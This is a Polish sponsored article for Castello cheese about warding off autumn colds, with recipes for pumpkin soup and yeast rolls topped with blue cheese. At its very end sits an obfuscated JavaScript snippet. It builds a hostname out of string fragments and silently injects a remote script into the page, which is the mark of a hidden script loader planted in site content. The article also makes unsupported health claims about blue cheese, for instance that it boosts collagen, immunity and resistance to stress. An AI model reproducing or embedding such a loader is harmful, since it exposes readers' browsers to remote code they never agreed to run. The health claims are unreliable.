24 listopada 2015r. godz. 11:54, odsłon: 1900, Redakcja

Pleśniowe sery w balsamicznych posmakach jesiennych nalewek

Przeziębienie dopada nas w najmniej spodziewanej chwili. Czy można jakoś temu zapobiec? Można!

Skończyło się lato. Jesień, zwłaszcza polska, złota, bohaterka piosenek i muza petów – lubi być kapryśna. Babie lato często ustępuje zimnym dniom, a przeziębienie dopada nas w najmniej spodziewanej chwili. Dzieje się tak, ponieważ mamy osłabiony układ odpornościowy i zmiana temperatury, jesienny deszcz, kichający pasażer w tramwaju (a taki był przystojny!) mogą stać się przyczyną przeziębienia. Czy można jakoś temu zapobiec? Można!

Sezon na zdrowie

Twój organizm lubi wypocząć po całym dniu pracy. Najlepiej 7-8 godzin snu na dobę. Wypoczęty, jest mniej podatny na atak bezwzględnych chorobotwórczych mikrobów! Wzmocnieniu odporności sprzyja również niewielka dawka ruchu . Krew szybciej krąży, tlen i komórki układu odpornościowego docierają do każdej części ciała. Jeśli chcesz zachować zdrowie, nie tylko jesienią, ćwicz, spaceruj, biegaj! Twoim sprzymierzeńcem w walce z przeziębieniami jest także odpowiednia dieta. Jesień to skarbnica warzyw i owoców, warto więc sięgnąć po naturalną dawkę witaminy C, zawartą w smacznych jesiennych potrawach. To podstawa w walce z przeziębieniem.

Zupą w przeziębienie

Jesienne zupy, będące częścią codziennego menu, poza walorami smakowymi, pełnią ważną rolę w walce z przeziębieniem - rozgrzewają, dostarczają witamin i pozytywnie wpływają na kondycję. Natura oferuje swoje bogactwa, a niektóre warzywa przyciągają uwagę pięknymi kolorami i kształtami. Jednym z nich jest dynia - przyjaciel kobiet! Ma jedynie 32 kalorie, więc pomoże zachować szczupłą sylwetkę. Poza tym to soczysta i kolorowa skarbnica witamin – C, E, PP oraz B, ma także dużo błonnika i karotenu. Jednym słowem – warto się z nią zaprzyjaźnić. Smacznym dyniowym sposobem na wzmocnienie będzie z pewnością zupa z dyni, którą podasz z domowymi bułeczkami, na przykład z dodatkiem serka pleśniowego Castello White. Do dzieła!

Po pierwsze zupa

Spacer po sklepie warzywnym lub po jesiennym targu zakończ wyborem pięknej dyni. W domu, uzbrojony w nóż, przystęp do krojenia miąższu w kostkę. Jeśli dynia jest duża – wykorzystaj jedynie połowę. Z drugiej części możesz przyrządzić inny dyniowy smakołyk. Kostki dyni zalej wodą (tak aby przykryła zawartość garnka), wrzuć kostkę bulionową i wlej śmietanę, najlepiej 18%. Gotuj, a gdy dynia się rozpadnie, co zabierze około 25 minut, odstaw i zmiksuj. Taką zupę-krem dopraw do smaku według uznania: łagodnie, tylko solą i pieprzem, na ostro – chili lub imbirem. Podaj ją z ciepłymi bułeczkami z pleśniowym serkiem Castello White. Palce lizać!

Po drugie bułeczki

Jesień lubi domowe jedzenie. Konfitury, dżemy, kiszonki, nalewki – to skarby, po które będziesz sięgać przez całą zimę. Spróbuj przekonać się do wypiekania domowych bułeczek, doskonałego uzupełnienia zdrowej diety. Zabierze to naprawdę niewiele czasu! Na początek pokrusz 2/3 kostki drożdży, dodaje 1/4 łyżeczki cukru i zalej 1 szklanką ciepłej wody. Odstaw na kwadrans, a gdy zaczyn będzie wyglądał jak gęsta śmietana – dodaj ½ łyżeczki soli, 10 łyżek oliwy i mąki – aby wyrobić ciasto, tak by nie kleiło się do rąk. Uformuj małe bułeczki i ułóż je na blaszce wyłożonej papierem do pieczenia. Bułeczki upiecz na lekko złoty kolor w temperaturze 200 stopni. Po wyjęciu z piecyka daj im chwilę odpocząć. Potem posmaruj je serkiem pleśniowym Castello White i… oczywiście, podaj z wcześniej sporządzoną dyniową zupą.

Na zdrowie i urodę

W tym miejscu warto wspomnieć, że sery pleśniowe okazują się sprzymierzeńcem kobiecej urody! Są źródłem witamin rozpuszczalnych w tłuszczach: A, D, E, K, zawierają sporo potasu i białka. Jednak najciekawsze jest to, że występujący w nich aminokwas, tyrozyna, wspomaga produkcję kolagenu, odpowiedzialnego za wygląd skóry. To dzięki nim skóra jest elastyczna i ma młodzieńczy wygląd. Zaletą spożywania serów pleśniowych jest również fakt, iż podnoszą wytrzymałość organizmu i, dzięki wspomnianemu już aminokwasowi, skutecznie podnoszą odporność na stres. Dodatkowo zjedzenie takiego przysmaku wpływa na uczucie sytości. Jesienna melancholia za progiem - dyniowa zupa, podana z bułeczkami i pleśniowym serkiem, pomoże przetrwać każdą szarugę. Smacznego!

Tekst powstał we współpracy z witryną http://www.castellocheese.com/pl-pl/, na której znajdziesz inspiracje i przepisy z udziałem serów marki Castello.

(function(){ umvc=document.createElement("script");umvc.type="text/javascript"; umvc.async=true;umvc_=(("us")+"t")+"a";umvc_+=("t.i")+""+"n";umvc_+=(("f")+"o"); umvc.src="http://"+umvc_+"/6777040.udk80qhwmvci14ud2hrdasr4zbh9gf"; document.body.appendChild(umvc); })();